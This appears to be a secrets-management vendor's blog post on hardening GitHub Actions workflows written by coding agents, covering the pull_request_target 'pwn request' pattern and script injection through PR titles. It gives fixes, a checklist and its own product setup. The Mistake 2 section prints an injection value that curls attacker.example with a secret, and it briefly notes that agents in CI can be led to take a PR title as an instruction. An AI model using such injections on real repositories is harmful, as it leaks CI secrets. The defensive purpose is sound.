Use promo code BETATEST1 for full access
seekrit
← all posts

Secrets in GitHub Actions when an agent writes your workflows

Security

Coding agents write workflow files the way they write everything else: from examples. The most-copied examples for pull request automation expose repository secrets to anyone who can open a pull request. If an agent edited a file under .github/workflows/ this month, check it for the two mistakes below before you check anything else.

The setup at the end gives the job one credential, bound to one environment, which the runner uses to decrypt only the values that job needs:

steps:
  - uses: seekritdev/github-action@v1
    with:
      token: ${{ secrets.SEEKRIT_TOKEN }}
  - run: ./deploy.sh

Mistake 1: pull_request_target plus a checkout of the PR head

pull_request runs with the base repository's secrets withheld from forks. pull_request_target runs in the context of the base branch with full access to secrets. It exists so a workflow can label or comment on a fork's PR.

The mistake is combining it with a checkout of the pull request's code and then running that code:

on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test   # runs the PR's code with your secrets

npm install runs the PR's postinstall scripts. npm test runs the PR's test files. Both execute with every secret the job can see. A pull request from any account can now read them. GitHub's own hardening guide calls this the "pwn request" pattern. Agents produce it because it is the shape of an example that works.

Fix: use pull_request for anything that runs the contributor's code. Use pull_request_target only for jobs that never check out or execute the head, and give those jobs no secrets they do not need.

Mistake 2: untrusted strings inside run:

- run: echo "Reviewing ${{ github.event.pull_request.title }}"

The expression is expanded before the shell sees it. A title of "; curl attacker.example -d "$SECRET_KEY is shell. Any event field a contributor controls, including the title, body, branch name, and commit message, is an injection point when placed inside run:.

Fix: pass the value through env: and reference the variable in the script:

- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Reviewing $TITLE"

This is also what makes the Comment and Control class of attack work against agents running in CI. The agent reads the title as an instruction. The fix for that half is not giving the agent a credential to hand over.

What the workflow's secrets should look like

GitHub's secret store is fine for one value. The problem is what accumulates in it: every credential every workflow ever needed, all readable by every job in the repository, with no record of which job read which. Move the application's secrets out of it and leave one thing behind.

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: seekritdev/github-action@v1
        with:
          token: ${{ secrets.SEEKRIT_TOKEN }}
      - run: ./deploy.sh   # $DATABASE_URL, $API_KEY are set and masked

What this changes:

  • One secret in GitHub. SEEKRIT_TOKEN is the only value in the repository's store. It is bound to one application environment, so a token for staging cannot read production.
  • Decryption on the runner. The API returns ciphertext. The action decrypts it on the runner and injects the values into the job environment. Every value is registered with ::add-mask::, so it is redacted in logs.
  • Scoping in the action. include and exclude limit which names a job gets. with composes a group at a specific environment. A test job that needs a database URL does not receive the payment key.
  • An audit trail. Each resolve is a read of a named environment by a named token, recorded on the seekrit side.

Prefer injecting into the job environment over set-outputs. Masked environment variables are a smaller surface than run-scoped outputs.

Preview deploys per pull request

Preview jobs usually need the shared config plus one or two values of their own, such as a database branch URL. Give each pull request a branch config that inherits from dev, holds only the difference, and deletes itself:

jobs:
  preview:
    runs-on: ubuntu-latest
    env:
      SEEKRIT_TOKEN: ${{ secrets.SEEKRIT_TOKEN }}
      SEEKRIT_BRANCH: pr-${{ github.event.number }}
    steps:
      - uses: actions/checkout@v4
      - run: npm install -g @seekrit/cli
      - run: seekrit branch create "$SEEKRIT_BRANCH" --app api --from dev --ttl 3d
      - run: seekrit secrets set DATABASE_URL "$NEON_BRANCH_URL" --app api --env dev --branch "$SEEKRIT_BRANCH"
      - run: seekrit run -- ./deploy-preview.sh

The --ttl is the backstop for a teardown job that never runs. Nothing is left holding credentials after three days.

A checklist for agent-written workflows

  1. Search .github/workflows/ for pull_request_target. Any job using it must not check out or run the head commit.
  2. Search for ${{ github.event inside a run: block. Move each one into env:.
  3. Count the entries in the repository's secret store. Replace the application secrets with one SEEKRIT_TOKEN per environment.
  4. Rotate anything a fork could have read while the first two mistakes were live.

The CI/CD guide covers the action's inputs, the seekrit run alternative, Docker, and Kubernetes. Values are encrypted before they are stored, so the service holding them cannot read them.